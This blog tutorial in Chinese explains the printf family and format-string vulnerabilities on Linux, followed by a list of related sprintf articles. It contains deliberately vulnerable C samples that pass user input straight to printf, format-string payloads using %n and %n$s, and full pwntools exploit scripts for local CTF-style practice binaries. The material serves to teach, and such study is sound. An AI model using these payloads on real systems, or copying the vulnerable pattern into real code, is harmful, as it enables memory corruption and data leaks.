【sprintf】sprintf功能介绍

最新推荐文章于 2024-10-27 20:49:11 发布
最新推荐文章于 2024-10-27 20:49:11 发布
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目录

[二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇

格式化输出函数

最开始学C语言的小伙伴们，肯定都很熟悉printf("Hello\n")，我们利用printf来输出字符串到控制台，当然我们也可以利用printf来输出整数类型、浮点类型、其他等等类型，这一切都归功于格式化输出函数。

printf 函数族一共有8个函数：

其中8个函数分为两大类，每一类中都有一个相互对应。例如：printf和vprintf两个函数为一对。其能完全一样，不同点在于参数格式。

printf函数参数使用不定参数(...)传递参数，vprintf使用参数列表(va_list)传递参数。

fprintf()  "按照格式字符串将输出写入流中。三个参数分别是流、格式字符串和变参列表。"
printf()   "等同于fprintf()，但是它的输出流为stdout。"
sprintf()  "等同于fprintf()，但是它的输出不是写入流而是写入数组。在写入的字符串末尾必须添加一个空字符。"
snprintf() "等同于sprintf()，但是它指定了可写入字符的最大值size。超过第size-1的部分会被舍弃，并且会在写入数组的字符串末尾添加一个空字符。"
dprintf()  "等同于fprintf()，但是它的输出不是写入流而是一个文件描述符fd。"

"分别与上面的函数对应，但是它们将变参列表换成了va_list类型的参数。"
vfprint()、vprintf()、vsprintf()、vsnprintf()、vdprintf()

printf函数族功能介绍

int printf (const char* _format,...);

printf是我们使用最多的一个函数，其功能为把格式化之后的字符串输出到标准输出流中。

大多数时候标准输出是控制台的显示，不过在MCU中，我们经常会将标准输出重定向到串口，然后通过串口查看信息。

所有printf函数族的返回值是：写入字符串成功返回写入的字符总数，写入失败则返回一个负数。

int sprintf(char * _s,const char* _format,...)

sprintf功能与printf类似，不过它是将字符串格式化输出到它的第一个参数所指定的字符串数组中。

由于它是输出到字符数组，所以会存在数组大小不足或者传递参数非法(后面要学的格式化漏洞),导致格式化后的字符溢出，任意内存读写，堆栈破坏被修改返回地址等，所以推荐使用snprintf函数来代替这个不安全的函数。ps:(哈哈哈这样我们就不好挖洞了)

int fprintf(FILE* _s,const char* _format,...)

fprintf功能与printf类似，但是它的输出流是(FILE*)中。

这个流可以是标准输出(stdout)、标准错误(stderr)、或者是文件(FILE* fd)。

所以理论printf可能是调用frpitnf来实现的。

printf参数

接下来的中点：格式化输出的参数。

printf函数族的格式化参数属性相同，下面以printf为例讲解字符串格式舒心。

printf格式化控制属性格式如下：

type(类型)

type是格式控制字符的类型，为必选项。在printf中会根据类型对应的格式去栈中读取对应大小的数据，(如果读取不到，就会把栈数据泄露出来了。)

这里的n要注意记一下，格式化漏洞会用到，x和p也非常常用，s则用于打印字符串

flags(标志)

flags用于规定输出样式。例如我们有时需要对齐打印多个数字，但是数字的长度并不是固定的，此时可以用flag参数进行设置。

#include <stdio.h>
int main()
{
    //利用flags对齐每个数字。
    printf("左对齐每个数字:\n");
    printf("%-04d\n%-04d\n%-04d\n%-04d\n",
          	1,
            12,
            123,
            1234);
    printf("右对齐每个数字:\n");
    printf("%4d\n%4d\n%4d\n%4d\n",
           1,
           12,
           123,
           1234);
    return 0;
}

flags支持参数如下：

number(宽度)

字符宽度有固定和可变两种类型。固定宽度为在类型前面加一个数字表示宽度：

printf("number is %08d\n",1234);

可变宽度类型是指在格式化的宽度可以由一个变量来控制指定，在程序中使用一个星号(*)进行占位，然后在参数中指定宽度。

printf("number is %0*d",8,1234);

precision(精度)

精度的属性格式只有一个，对于不同类型的效果不同。具体描述见下图：

#include <stdio.h>
int main()
{
    //整数
    printf("int:%.4d\n",123); //因为长度不够4，所以会被截断前面用0来填充。
    //浮点数
    printf("float:%.2f\n",3.1415926);
    printf("float:%.3f\n",1.23);
    //字符串
    printf("string:%.6s\n","hellohacker!");
    return 0;
}

length(类型长度)

类型长度用于修饰type(类型)的长度。

比如在打印一个uint64_t类型的无符号整形数字时，应该使用%llu来进行格式化输出。

#include <stdio.h>
#define LLONG_MIN -9223372036854775808
#define LLONG_MAX 9223372036854775807
int main()
{
    //ll表示long long
    //llu表示unsigned long long
    printf("long long:%lld\n",LLONG_MIN);
    printf("unsigned long long:%llu\n",LLONG_MIN);
    return 0;
}

n$(参数字段)

我看到有些题目中会有n$ n代表数字这种控制符，这个其实和控制宽度的*差不多，也是在参数中控制的。

#include <stdio.h>

int main(void) {
    //1$代表参数"a" -->第一个参数的意思
    //*代表宽度
    //3$代表参数"10" -->第3个参数的意思
    //输出右对其10空格，并且输出字符串a.
    //后面以此类推。
    printf("%1$*3$s\n", "a", "b", 10, 20);
    printf("%1$*4$s\n", "a", "b", 10, 20);
    printf("%2$*3$s\n", "a", "b", 10, 20);
    printf("%2$*4$s\n", "a", "b", 10, 20);
    return 0;
}

格式化字符串漏洞

格式化字符串漏洞从2000年左右开始流行起来，几乎在各种软件中都能见到它的身影，随着技术的发展，软件安全性的提升，如今它在桌面端已经比较少见了，但在物联网设备 IoT上依然层出不穷。

#include <stdio.h>
void main()
{
    printf("%s %d %s %x %x %x %3$s","Hello World!",233,"\n");
}

我们输入的参数只有三个，但是格式化字符串中还有3个%x,%3$s不用管它，它就是换行的意思。

ps:(图片纠正下，不是泄露出了栈地址，是泄露出栈的值)

//leak.c 泄露变量1 2 3题目

#include <stdio.h>
void main()
{
        char hello[]="hello";
        int a=1,b=2,c=3;
        printf("%s %d %s %x %x %x %x %x %x %x %x %3$s","Hello World!",23333,"\n");
}

继续来看个例子：

#include <stdio.h>
void main()
{
    //字符数组，50字节空间。
    char buf[50];
    
    //让用户输入任何数据，大小50字节。
    fgets(buf,sizeof(buf),stdin);
    
    //输出用户输入的任何数据
    printf(buf);
}

这个例子相比上面的，省去了printf参数个数，只有一个printf参数，哈哈哈不过他同样存在漏洞。

我们用pwndbg来详细复现下漏洞。

格式化字符串漏洞原因：

这里总结下出现格式化字符串漏洞的原因：根本的原因是调用printf函数族的时候，因为格式字符串要求的参数个数和实际的参数格式不匹配导致去堆栈中取数据，导致泄漏出堆栈数据。

还有是因为程序员对用户输入过滤不严格导致，正常用户可能根本不会去输入这个格式控制符这种奇怪的字符串，但是因为程序员忽略了黑客这类人员。

对过滤内容不严格导致格式化字符串漏洞的产出，其实这也有点像SQL注入、XSS等这类Web漏洞原理，都是由于没有过滤用户输入造成的。

漏洞利用

接下来学习格式化字符串漏洞真正在实际中的应用，比如CTF比赛等等。

对于格式化字符串漏洞的利用主要有：

  • 使程序崩溃(测试漏洞是否存在)
  • 栈数据泄露(栈数据读)
  • 栈数据覆盖(栈数据写)
  • 任意地址内存泄露(任意读)
  • 任意地址内存覆盖(任意写)

使程序崩溃(测试)

我们格式直接测试输入一堆的%s来测试程序是否有过滤格式控制符，如果没有过滤当%s读取到非用户访问内存空间时候会出现崩溃！

从而来判断是否存在漏洞，当然你也可以用其他格式控制符，这里主要是记录下这种漏洞利用场景。

#include <stdio.h>
int main()
{
	char str[100];
    read(0,str,100);
    printf(str);
	return 0;
}

造成程序崩溃原因：printf根据格式化类型%s，然后对栈里面取地址视为char数组指针，然后在地址处取字符直到出现\x00为止，由于有些地址是NULL，或者有些地址不是用户层访问的，所以出于Linux内核的保护机制会造成崩溃，使进程收到SIGSEGV信号。

栈数据泄露(堆栈读)

  • 泄漏栈内存
    • 获取某个变量的值
    • 获取某个变量对应地址的内存

例题如下：(要求1.获取栈变量数值，2.获取栈变量对应字符串)

#include <stdio.h>
int main() {
  char s[100];
  int a = 1, b = 0x22222222, c = -1;
  scanf("%s", s);
  printf("%08x.%08x.%08x.%s\n", a, b, c, s);
  printf(s);
  return 0;
}

先思考下如何通过输入来泄漏出栈内存？

解答：

正常输入肯定是不行的，由于我们已经分析过漏洞原理(因为控制格式化字符串和参数不匹配造成漏洞)，所以这里我们需要构造出格式化字符串来作为输入。

%08x的意思是，宽度为8不足8用0填充，那么我们可以构造字符串%08x.%08x.%08x来看看输出结果。

Tips:(这里需要注意的是，并不是每次得到的结果都一样 ，因为栈上的数据会因为每次分配的内存页不同而有所不同，这是因为栈是不对内存页做初始化的。)

获取栈变量数值

我们已经详细的学过格式化输出函数，现在我们用%n$08x来获取n+1个参数的值。

poc:

%n$08x
%1$08x.%2$08x.%3$08x (打印栈中第一个第二个第三个数值)
%3$08x.%3$08x.%3$08x (打印栈中第三个数值)
%3$08x.%2$08x.%1$08x (打印堆中第三个第二个第一个数值)

获取栈变量字符串

poc:

%n$s (只是把type改改即可)
%17$s

找了下，这里第17个参数位置这里是个字符串，可以打印。

堆栈读总结

  • 用%nx或者%p，来按顺序泄漏栈数据
  • 用%s获取变量地址内容，遇零截断
  • 用%n\(x或%n\)p或%n$s，获取指定第n个参数的值或字符串。

栈数据覆盖(堆栈写)

堆栈写(覆盖)的核心原理是利用%n对参数进行覆盖，首先我们来复习下%n控制符。

%n的解释如下：

这个代码是独特的，因为他并不产生任何输出。
相反，涛目前为止函数所产生的输出字符数目将被保存到对应的参数中。

让我们写个代码来熟悉熟悉：

#include <stdio.h>
void main()
{
    int number=0;//这里number被赋为0
    char str[] = "hello";
    printf("%s1111111111111111%n\n",str,&number);//这里number 利用%n 赋值为回显的长度
    printf("%d\n",number);
}

覆盖变量

这里来做一道小题目，利用栈覆盖变量，让其进入modified c分支。

#include <stdio.h>
int a = 123, b = 456;
int main() {
  int c = 789;
  char s[100];
  printf("%p\n", &c);
  scanf("%s", s);
  printf(s);
  if (c == 16) {
    puts("modified c.");
  } else if (a == 2) {
    puts("modified a for a small number.");
  } else if (b == 0x12345678) {
    puts("modified b for a big number!");
  }
  return 0;
}

先分析代码并且思考：

代码通过if(c16)进入modified c.分支，我们要让c16必须使用栈覆盖漏洞，栈覆盖漏洞属于格式化字符串漏洞，由于代码里面对输入没做过滤并且直接printf判断为存在格式化字符串漏洞。

  1. 确定变量C的地址 0xffffd58c

  1. 确认变量C地址在printf参数中排第几？

这里刚开始我把自己坑了，一开始我确认变量C位置如上图标记的位置，然后从参数1开始数，数到变量C刚好是30，于是我构造Payload用pwntools运行，总是崩溃，原因是0xffffd58c处的值是0x315，这个是一个整数不是一个地址，当改写这0x315地址，肯定会崩溃，因为这肯定是系统保护的地址。

正确做法是，利用格式化字符串，字节把0xffffd58c(变量C地址)写进栈里，然后找这个格式化字符串printf参数中的顺序，如上图1111111111111%s地址0xffffd528，距离参数1刚好是5个位置，所以是参数6，排第6。

  1. 构造Payload

有了上面的数据就可以构造Payload了，Payload基本如下：

c_address = 0xffffd58c
padding   = b'111111111111' #这里为什么是12个1，因为c_address占4字节
Payload   = p32(c_address)+b''+b'%6$n' #12+4=16
  1. 编写EXP，运行。

实际情况中，c_address并不固定，所以这题目提前用printf输出了变量C的地址。

#导入pwn模块
from pwn import *
#设置运行环境
context(arch='i386',os='linux')
context.terminal = ['tmux','splitw','-h']
#封装进程，ELF解析
p        = process("./overflow")
overflow = ELF('./overflow')
#接收消息，直到'\n'
c_address = int(p.recvuntil('\n',drop=True),16)
print("变量C地址:{0}".format(hex(c_address)))
#填充12字节+地址(4字节)=16
padding = b'111111111111'
#构造Payload，发送
Payload = p32(c_address) + padding + b'%6$n'
print("Payload:{0}".format(Payload))
print(p.sendline(Payload))

#回显
print(p.recv())

任意地址内存泄漏(任意读)

在网上看了些文章写的都很绕来绕去，任意地址内存泄漏的核心原理就是用%s去读你输入的十六进制格式(地址)的内存。

ps:这其实并不算任意地址内存泄漏，测试发现如果内存中一开始就是0，那直接就截断了。

漏洞主要利用的步骤:

  • %n$s
  • /x01/x02/x03/x04 (你需要读内存的地址)
  • 找出这个(你需要读内存的地址)在第几个参数，这样好用%n$s

下面还是用自己写的一个例子，来实践下。

（要求用pwntools打印出flag）

#include <stdio.h>
char *flag="flag{Pwn_Caiji_Xiao_fen_dui}\n";

int main() {
  char s[100];
  int a = 1, b = 0x22222222, c = -1;
  gets(s);
  printf("%08x.%08x.%08x.%s\n", a, b, c, s);
  printf(s);
  return 0;
}
  1. 肉眼观察源码

明显的存在格式化字符串漏洞，因为没有过滤用户输入数据，并且直接用printf打印。

  1. 确定出char s[100]在第2个printf用%s解析时候，在栈中是第几个参数？

调试得出在第4个参数这里，如果不能调试，那只能用一开始的1111%p%p%p%p%p%p%p这种方式去爆破，当解析到1的ASCII码即可。

  1. 构造出Payload

上面已经确定参数位置，那就可以构造%4$s，接下来需要把1111替换成我们要打印内存的地址，这里要打印flag符号，(可以用readelf -s 来看看flag符号名)

就是叫flag，那么可以用pwntools的pwnlib.elf模块来获取符号名的偏移，具体代码如下：

leakmemory = ELF("./leakmemory")
#获取flag符号偏移
flag_offset = leakmemory.symbols['flag']

最后构造的Payload如下:

Payload = p32(flag_offset) + b'%4$s'
  1. 写出exp，打印出flag
#导入pwn模块
from pwn import *
#设置运行环境
context(arch='i386',os='linux')
context.terminal = ['tmux','splitw','-h']
#封装进程
p = process("./leakmemory")
#解析ELF
leakmemory = ELF("./leakmemory")
#获取flag符号偏移
flag_offset = leakmemory.symbols['flag'] #如果要泄漏got表可以改成 leakmemory.got['printf']等函数名.
#构造Payload
Payload = p32(flag_offset) + b'%4$s'
#发送Payload
print("[+] 发送Payload:")
p.sendline(Payload)
print(Payload)
#接受返回数据
print("[+] 接受数据:")
print(p.recvline())
flag = p.recv()
flag = u32(flag[4:8])
print("flag地址:{0}".format(hex(flag)))
#打印flag
print("[+] flag如下:")
print("")
#读取leakmemory中flag内存
print(leakmemory.read(flag,30))

任意地址内存覆盖(任意写)

任意地址内存写(覆盖)的原理其实就是堆栈写(栈数据覆盖)的加强版，在堆栈写里面我们已经可以覆盖要覆盖的变量了，不过具体覆盖的数值(大数(地址)、小数(小于4字节))还不能实现，这里主要学习如何覆盖成任意数字。

覆盖小数(小于4字节)

首先呢，来学习如何把变量覆盖成小于4的数字，比如说覆盖成2。

还是老题目：(要求走a==2分支，并打印出modified a for a small number.)

#include <stdio.h>
int a = 123, b = 456;
int main() {
  int c = 789;
  char s[100];
  printf("%p\n", &c);
  scanf("%s", s);
  printf(s);
  if (c == 16) {
    puts("modified c.");
  } else if (a == 2) {
    puts("modified a for a small number.");
  } else if (b == 0x12345678) {
    puts("modified b for a big number!");
  }
  return 0;
}

问题思考分析：

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sprintf在c语言中的作用,C语言中sprintf()函数的用法
weixin_35682020的博客
05-16 1900
sprintf函数的用法一、该函数包含在stdio.h的头文件中。二、sprintf和平时咱们经常使用的printf函数的功能很类似。sprintf函数打印到字符串中(要注意字符串的长度要足够容纳打印的内容，不然会出现内存溢出)，而printf函数打印输出到屏幕上。sprintf函数在咱们完成其余数据类型转换成字符串类型的操做中应用普遍。三、sprintf函数的格式：int sprintf( ch...
sprintf()使用说明
Simple is perfect
11-16 5490
在将各种类型的数据构造成字符串时，sprintf 的强大功能很少会让你失望。由于sprintf 跟printf 在用法上几乎一样，只是打印的目的地不同而已，前者打印到字符串中，后者则直接在命令行上输出。这也导致sprintf 比printf 有用得多。sprintf 是个变参函数，定义如下：int sprintf( char *buffer, const char *format [, argum
整理：C++中sprintf()函数的使用详解_sprintf函数的用法
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2401_87555310的博客
10-27 1249
声明下面是 sprintf() 函数的声明。参数返回值如果成功，则返回写入的字符总数，不包括字符串追加在字符串末尾的空字符。如果失败，则返回一个负数。实例下面的实例演示了 sprintf() 函数的用法。
sprintf函数强大功能
yeslihao的专栏
04-08 760
sprintf 字串格式化命令，主要功能是把格式化的数据写入某个字符串中。sprintf 是个变参函数，使用时经常出问题，而且只要出问题通常就是能导致程序崩溃的内存访问错误，但好在由sprintf 误用导致的问题虽然严重，却很容易找出，无非就是那么几种情况，通常用眼睛再把出错的代码多看几眼就看出来了。 目录 函数简介参数说明及应用举例
sprintf，你知道多少？
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作战在奇不在正，带兵在正不在奇
04-07 8万+
选自《CSDN 社区电子杂志——C/C++杂志》http://emag.csdn.net 2005 年1 月 总第1 期 - 93 -本文作者：steedhorse（晨星）printf 可能是许多程序员在开始学习C 语言时接触到的第二个函数（我猜第一个是main），说起来，自然是老朋友了，可是，你对这个老朋友了解多吗？你对它的那个孪生兄弟sprintf 了解多吗？在将各种类型的数据构造成字符串时，
sprintf函数的作用及用法
第一楼主的博客
08-13 5831
头文件：stdio.h 函数功能：格式化字符串，将格式化的数据写入字符串中。 函数原型：int sprintf(char *buffer, const char *format, [argument]...) 参数： （1）buffer：是char类型的指针，指向写入的字符串指针； （2）format：格式化字符串，即在程序中想要的格式； （3）argument：可选参数，可以为任意类...
sprintf 函数详细解释
weixin_30323961的博客
05-03 717
sprintf() 格式化输出函数 功能：　函数sprintf()用来作格式化的输出。 用法：　此函数调用方式为int sprintf(char *string,char *format,arg_list); 说明：　函数sprintf()的用法和printf()函数一样，只是sprintf()函数给出第一个参数string(一般为字符数组），然后再调用 outtextxy()函数将串里的字...
sprintf.js：sprintf.js是完整的开源JavaScript sprintf实现
02-26
sprintf-js sprintf-js是针对浏览器和Node.js的完整的开源JavaScript sprintf实现。 注意：从v1.1.1开始，您可能需要一些针对较旧环境的polyfill。 请参阅下面的部分。 用法 var sprintf = require('sprintf-js')....
精简版sprintf
12-21
然而，`sprintf`函数通常包含了大量的功能，对于内存有限的单片机来说，可能会占用过大的ROM空间，导致存储问题。为了解决这个问题，我们常常需要对`sprintf`进行精简封装。 精简版的`sprintf`函数，顾名思义，就是...
dart-sprintf:sprintf的Dart实现
05-07
sprintf的Dart实现。 变更日志 入门 将以下内容添加到您的pubspec.yaml中： dependencies: sprintf: "^5.0.0" 然后运行pub install 。 接下来，导入dart-sprintf： import 'package:sprintf/sprintf.dart'; 例子...
C++中sprintf()函数的使用详解
09-05
C++中的`sprintf()`函数是一个非常实用的字符串格式化工具，它允许开发者将各种数据类型转换为字符串，其功能类似于`printf()`函数，但输出结果存储在字符数组（字符串）中而不是直接输出到标准输出。在本文中，我们...
Sprintf函数的作用
Lin的博客
03-19 1499
近期在浏览代码时，看到了sprintf函数，很疑惑。百度了，才知道这个函数功能很强大。 sprintf()函数是标准库的函数，定义在stdio.h头文件中。代码如下： extern _ARMABI int sprintf(char * __restrict /*s*/, const char * __restrict /*format*/, ...) __attribute__((__non...
sprintf
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09-06 3904
函数原型： int sprintf( char *buffer, const char *format, [ argument] … )； 这个函数包含三个部分的参数： buffer：char型指针，指向将要写入的字符串的缓冲区。 format：格式化字符串。即可选参数的想要输入的数据类型。 [argument]...：可选参数，可以是任何类型的数据。   参数： 第一个参数只能是...
sprintf作用2
Little devil
11-11 292
四、连接字符串 sprintf 的格式控制串中既然可以插入各种东西，并最终把它们”连成一串”，自然也就能够连接字符串，从而在许多场合可以替代strcat，但sprintf 能够一次连接多个字符串（自然也可以同时在它们中间插入别的内容，总之非常灵活）。比如：  char* who = “I”;  char* whom = “CSDN”;  sprintf(s, “%s love %s.”
Sprintf
nma_123456的专栏
02-27 2006
在将各种类型的数据构造成字符串时，sprintf 的强大功能很少会让你失望。由于sprintf 跟printf 在用法上几乎一样，只是打印的目的地不同而已，前者打印到字符串中，后者则直接在命令行上输出。这也导致sprintf 比printf 有用得多。 sprintf 是个变参函数，定义如下： int sprintf( char *buffer, const char *format [, a
使用sprintf构造字符串：功能与示例
`sprintf`函数是C语言中用于格式化输出的一个非常重要的工具，它的功能与`printf`函数类似，但区别在于`sprintf`将格式化的结果输出到指定的字符串缓冲区，而不是直接打印到屏幕。这使得`sprintf`在处理字符串构造和...
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